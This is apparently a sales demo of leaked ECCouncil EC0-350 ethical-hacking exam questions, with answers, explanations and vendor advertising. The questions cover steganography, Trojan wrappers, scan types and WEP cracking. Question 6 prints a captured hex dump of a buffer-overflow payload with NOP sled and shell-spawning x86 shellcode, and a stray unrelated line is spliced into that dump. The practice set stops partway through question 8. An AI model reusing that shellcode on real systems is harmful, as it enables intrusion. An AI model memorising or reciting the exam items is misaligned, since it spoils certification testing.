Examcollection

http://www.ipass4sure.com/examcollection.htm

http://www.ipass4sure.com

EC0-350

ECCouncil

Ethical Hacking and Countermeasures

http://www.ipass4sure.com/exams.asp?examcode=EC0-350

The EC0-350 practice exam is written and formatted by Certified Senior IT Professionals working in today's prospering companies and data centers all over the world! The EC0-350 Practice Test covers all the exam topics and objectives and will prepare you for success quickly and efficiently.
The EC0-350 exam is very challenging, but with our EC0-350 questions and answers practice exam, you can feel confident in obtaining your success on the EC0-350 exam on your FIRST TRY!

ECCouncil EC0-350 Exam Features

- Detailed questions and answers for EC0-350 exam
- Try a demo before buying any ECCouncil exam
- EC0-350 questions and answers, updated regularly
- Verified EC0-350 answers by Experts and bear almost 100% accuracy
- EC0-350 tested and verified before publishing
- EC0-350 examcollection vce questions with exhibits
- EC0-350 same questions as real exam with multiple choice options

Acquiring ECCouncil certifications are becoming a huge task in the field of I.T. More over these exams like EC0-350 exam are now continuously updating and accepting this challenge is itself a task. This EC0-350 test is an important part of ECCouncil certifications. We have the resources to prepare you for this. The EC0-350 exam is essential and core part of ECCouncil certifications and once you clear the exam you will be able to solve the real life problems yourself.Want to take advantage of the Real EC0-350 Test and save time and money while developing your skills to pass your ECCouncil EC0-350 Exam? Let us help you climb that ladder of success and pass your EC0-350 now!

DEMO EXAM

For Full Version visit

http://www.ipass4sure.com/allexams.asp

QUESTION: 1
Which of the following steganography utilities exploits the nature of white space and allows the user to conceal information in these white spaces?

A. Gif-It-Up
B. Image Hide
C. NiceText
D. Snow

Answer: D

Explanation:
The program snow is used to conceal messages in ASCII text by appending whitespace to the end of lines. Because spaces and tabs are generally not visible in text viewers, the message is effectively hidden from casual observers. And if the built-in encryption is used, the message cannot be read even if it is detected.

QUESTION: 2
In the context of Trojans, what is the definition of a Wrapper?

A. A tool used to encapsulate packets within a new header and footer
B. An encryption tool to protect the Trojan
C. A tool used to calculate bandwidth and CPU cycles wasted by the Trojan
D. A tool used to bind the Trojan with a legitimate file

Answer: D

Explanation:
These wrappers allow an attacker to take any executable back-door program and combine it with any legitimate executable, creating a Trojan horse without writing a single line of new code.

QUESTION: 3
When Jason moves a file via NFS over the company's network, you want to grab a copy of it by sniffing. Which of the following tool accomplishes this?

A. nfscopy
B. macof
C. filesnarf
D. webspy

Answer: C

Explanation:
Filesnarf - sniff files from NFS traffic
OPTIONS
-i interface
Specify the interface to listen on.
-v "Versus" mode. Invert the sense of matching, to select non-matching files.
pattern
Specify regular expression for filename matching.
expression
Specify a tcpdump(8) filter expression to select
traffic to sniff. SEE ALSO Dsniff, nfsd

QUESTION: 4
What type of port scan is shown below?
Scan directed at open port:
ClientServer
192.5.2.92:4079 -----FIN/URG/PSH----->192.5.2.110:23
192.5.2.92:4079 <----NO RESPONSE------192.5.2.110:23
Scan directed at closed port:
ClientServer
192.5.2.92:4079 -----FIN/URG/PSH----->192.5.2.110:23
192.5.2.92:4079<-----RST/ACK----------192.5.2.110:23

A. Windows Scan
B. Idle Scan
C. SYN Stealth Scan
D. XMAS Scan

Answer: D

Explanation:
An Xmas port scan is variant of TCP port scan. This type of scan tries to obtain information about the state of a target port by sending a packet which has multiple TCP flags set to 1 - "lit as an Xmas tree". The flags set for Xmas scan are FIN, URG and PSH. The purpose is to confuse and bypass simple firewalls. Some stateless firewalls only check against security policy those packets which have the SYN flag set (that is, packets that initiate connection according to the standards). Since Xmas scan packets are different, they can pass through these simple systems and reach the target host.

QUESTION: 5

Derek has stumbled upon a wireless network and wants to assess its security. However, he does not find enough traffic for a good capture. He intends to use AirSnort on the captured traffic to crack the WEP key and does not know the IP address range or the AP. How can he generate traffic on the network so that he can capture enough packets to crack the WEP key?

A. Derek can use a session replay on the packets captured
B. Derek can use KisMAC as it needs two USB devices to generate traffic
C. Use any ARP requests found in the capture
D. Use Ettercap to discover the gateway and ICMP ping flood tool to generate traffic

Answer: D

Explanation:
By forcing the network to answer to a lot of ICMP messages you can gather enough packets to crack the WEP key.

QUESTION: 6
The following is an entry captured by a network IDS. You are assigned the task of analyzing this entry. You notice the value 0x90, which is the most common NOOP instruction for the Intel processor. You figure that the attacker is attempting a buffer overflow attack. You also notice
"/bin/sh" in the ASCII part of the output. As an analyst what would you conclude about the attack?

```
45 00 01 ce 28 1e 40 00 32 06 96 92 d1 3a 18 09 86 9f 18 97 E..Î(.@.2...Ñ:......
06 38 02 03 6f 54 4f a9 01 af fe 78 50 18 7d 78 76 dd 00 00 .8..oTO®.¯þxP.\}
Application "Calculator" "%path:..\dtsapps\calc\dcalc.exe%" " " size 0.75in 0.25in 0.50in
0.05inxvÝ..
42 42 20 f7 ff bf 21 f7 ff bf 22 f7 ff bf 23 f7 ff bf 58 58 BB ÷ÿ¿!÷ÿ¿"÷ÿ¿#÷ÿ¿XX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25 2e 32 32 XXXXXXXXXXXXXXXX%.22
34 75 25 33 30 30 24 6e 25 2e 32 31 33 75 25 33 30 31 24 6e 4u%300$n%.213u%301$n
73 65 63 75 25 33 30 32 24 6e 25 2e 31 39 32 75 25 33 30 33 secu%302$n%.192u%303
24 6e 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 $n..................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 31 db 31 c9 31 c0 b0 46 cd 80 89 e5 31 d2 b2 66 89 d0 ..1Û1É1À°FÍ..å1Ò²f.Ð
31 c9 89 cb 43 89 5d f8 43 89 5d f4 4b 89 4d fc 8d 4d f4 cd 1É.ËC.]øC.]ôK.Mü.MôÍ
80 31 c9 89 45 f4 43 66 89 5d ec 66 c7 45 ee 0f 27 89 4d f0 .1É.EôCf.]ìfÇEî.'.Mð
8d 45 ec 89 45 f8 c6 45 fc 10 89 d0 8d 4d f4 cd 80 89 d0 43 .Eì.EøÆEü..Ð.MôÍ..ÐC
43 cd 80 89 d0 43 cd 80 89 c3 31 c9 b2 3f 89 d0 cd 80 89 d0 CÍ..ÐCÍ..Ã1É²?.ÐÍ..Ð
41 cd 80 eb 18 5e 89 75 08 31 c0 88 46 07 89 45 0c b0 0b 89 AÍ.ë.^.u.1À.F..E.°..
f3 8d 4d 08 8d 55 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 ó.M..U.Í.èãÿÿÿ/bin/s
68 0a h.
EVENT4: [NOOP:X86] (tcp,dp=515,sp=1592)
```

A. The attacker is attempting a buffer overflow attack and has succeeded

B. The buffer overflow attack has been neutralized by the IDS
C. The attacker is creating a directory on the compromised machine
D. The attacker is attempting an exploit that launches a command-line shell

Answer: D

Explanation:
This log entry shows a hacker using a buffer overflow to fill the data buffer and trying to insert the execution of /bin/sh into the executable code part of the thread. It is probably an existing exploit that is used, or a directed attack with a custom built buffer overflow with the "payload" that launches the command shell.

QUESTION: 7
Bill has started to notice some slowness on his network when trying to update his company's website and while trying to access the website from the Internet. Bill asks the help desk manager if he has received any calls about slowness from the end users, but the help desk manager says that he has not. Bill receives a number of calls from customers that cannot access the company website and cannot purchase anything online. Bill logs on to a couple of his routers and notices that the logs show network traffic is at an all time high. He also notices that almost all the traffic is originating from a specific address. Bill decides to use Geotrace to find out where the suspect IP is originates from. The Geotrace utility runs a traceroute and finds that the IP is coming from Panama. Bill knows that none of his customers are in Panama so he immediately thinks that his company is under a Denial of Service attack. Now Bill needs to find out more about the originating IP address. What Internet registry should Bill look in to find the IP address?

A. RIPE LACNIC
B. APNIC
C. ARIN
D. LACNIC

Answer: D

Explanation:
LACNIC is the Latin American and Caribbean Internet Addresses Registry that administers IP addresses, autonomous system numbers, reverse DNS, and other network resources for that region.

QUESTION: 8
Bob has been hired to do a web application security test. Bob notices that the site is dynamic and must make use of a back end database. Bob wants to see if SQL Injection would be possible. What is the first character that Bob should use to attempt breaking valid SQL request?

Pass4sure Certification Exam Features;

- Pass4sure offers over **2500** Certification exams for professionals.
- More than **98,800** Satisfied Customers Worldwide.
- Average **99.8%** Success Rate.
- Over **120** Global Certification Vendors Covered.
- Services of Professional & Certified Experts available via support.
- Free 90 days updates to match real exam scenarios.
- Instant Download Access! No Setup required.
- Price as low as $19, which is 80% more cost effective than others.
- Verified answers researched by industry experts.
- Study Material **updated** on regular basis.
- Questions / Answers are downloadable in **PDF** format.
- Mobile Device Supported (Android, iPhone, iPod, iPad)
- **No authorization** code required to open exam.
- **Portable** anywhere.
- ***Guaranteed Success***.
- **Fast**, helpful support 24x7.

View list of All certification exams offered;
http://www.ipass4sure.com/allexams.asp

View list of All Study Guides (SG);
http://www.ipass4sure.com/study-guides.asp

View list of All Audio Exams (AE);
http://www.ipass4sure.com/audio-exams.asp

Download Any Certication Exam DEMO.
http://www.ipass4sure.com/samples.asp

To purchase Full version of exam click below;
http://www.ipass4sure.com/allexams.asp

3COM	CompTIA	Filemaker	IBM	LPI	OMG	Sun
ADOBE	ComputerAssociates	Fortinet	IISFA	McAfee	Oracle	Sybase
APC	CWNP	Foundry	Intel	McData	PMI	Symantec
Apple	DELL	Fujitsu	ISACA	Microsoft	Polycom	TeraData
BEA	ECCouncil	GuidanceSoftware	ISC2	Mile2	RedHat	TIA
BICSI	EMC	HDI	ISEB	NetworkAppliance	Sair	Tibco
CheckPoint	Enterasys	Hitachi	ISM	Network-General	SASInstitute	TruSecure
Cisco	ExamExpress	HP	Juniper	Nokia	SCP	Veritas
Citrix	Exin	Huawei	Legato	Nortel	See-Beyond	Vmware
CIW	ExtremeNetworks	Hyperion	Lotus	Novell	Google	

and many others.. See complete list Here